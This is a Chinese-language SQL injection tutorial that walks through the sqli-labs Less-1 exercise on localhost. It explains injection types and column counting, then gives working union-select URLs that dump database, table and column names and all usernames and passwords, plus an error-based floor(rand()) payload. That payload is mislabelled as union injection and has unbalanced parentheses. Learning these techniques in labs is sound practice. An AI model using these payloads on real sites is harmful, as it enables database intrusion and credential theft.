最基本的注入过程:判断注入类型,字段数,回显,然后爆库名,爆表名,爆字段名,爆数据。
方式:select 字段 from 表 where 条件1 and(or) 条件2 ......;
ctf经典:select * from admin where username=' ' and password=' ';
用户输入的uname和pwd会传入两个引号之间从而直接拼接成sql语句在数据库中被执行,而此 时我们把引号内的内容看成字符串将其与数据库中内容匹配,但这显然不是我们想要的效果,而如果我们在交互部分传入恶意sql语句使其被当成sql语句的一部分执行。
注入类型:(参考k1ling博客)
- 数字型
1.1 数值型 ?id=1
1.2 括号型 ?id=1) - 字符型
2.1 单引号 ?id=1’
2.2 双引号 ?id=1"
2.1 引号与括号结合 ?id=1’) or ?id=1")
常用注释方法:
1.#:在一些情况下可能无法正常使用,可转化成%23
2.--+:其实是-- (空格),用--+
来表示。因为在URL中,如果在最后加上--
,浏览器在发送请求的时候会把URL末尾的空格舍去,而用--+
代替--
,原因是+
在URL被URL编码后会变成空格。
数据库相关:
order by:常用猜列数方法,order by是mysql中对查询结果进行排序的方法。具体是按照查询指定列的结果默认升序排列数据,因此可以用来猜测数据库的列数。
其语法为:ORDER BY column1 [ASC|DESC], column2 [ASC|DESC],... 此处以数字1,2,3...指定以某一列进行排序,通过尝试得出列数。
group by:分组语句,对查询结果分组,通过条件分组。
information_schema,系统数据库,包含所有数据库相关信息。
information_schema.schemata中schema_name列,字段为所有数据库名称。
information_schema.tables中table_name列对应数据库所有表名,其中table_schema列是所有数据库名。
information_schema.columns中,column_name列对应所有列名,其中table_schema列也对应所有数据库名,table_name列也对应所有表名。
group_concat()语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )distinct可以排除重复值;如果希望对结果中的值进行排序,可以使用order by子句;separator是一个字符串值,缺省为一个逗号。使所有组显示在一行。
sqli-labs第一题
1.判断类型:输入http://localhost:8088/sqlilabs/Less-1/?id=1
显示正常。
加个单引号,http://localhost:8088/sqlilabs/Less-1/?id=1'
显示语句出错。
通过http://localhost:8088/sqlilabs/Less-1/?id=1' %23
或http://localhost:8088/sqlilabs/Less-1/?id=1'--+
或http://localhost:8088/sqlilabs/Less-1/?id=1' and '1'='1
可知,是单引号字符型注入。
2.爆字段:order by 3时,http://localhost:8088/sqlilabs/Less-1/?id=1' order by 3 --+
,正常;order by 4时,http://localhost:8088/sqlilabs/Less-1/?id=1' order by 4 --+
,出错
3.爆数据库:
爆数据库名:http://localhost:8088/sqlilabs/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
爆当前security数据库的表:http://localhost:8088/sqlilabs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
爆user表的列:http://localhost:8088/sqlilabs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
爆所有用户名和密码: http://localhost:8088/sqlilabs/Less-1/?id=-1' union select 1,group_concat(concat_ws(':',username,password)),3 from users --+
联合注入:
基本模式:
and(select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor (rand()*2)) as x from information_schema.tables group by x) as a)
四个函数/语句
1. Rand() 随机函数
2. Floor() 取整函数
3. Count() 汇总函数
4. Group by clause 分组语句
研究人员发现,当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。(参考)
concat()函数,concat是一个连接函数,可以连接多个字符,例如
concat("abcd","ef")="abcdef"
以逗号分隔,其中也可以应用ascII形式。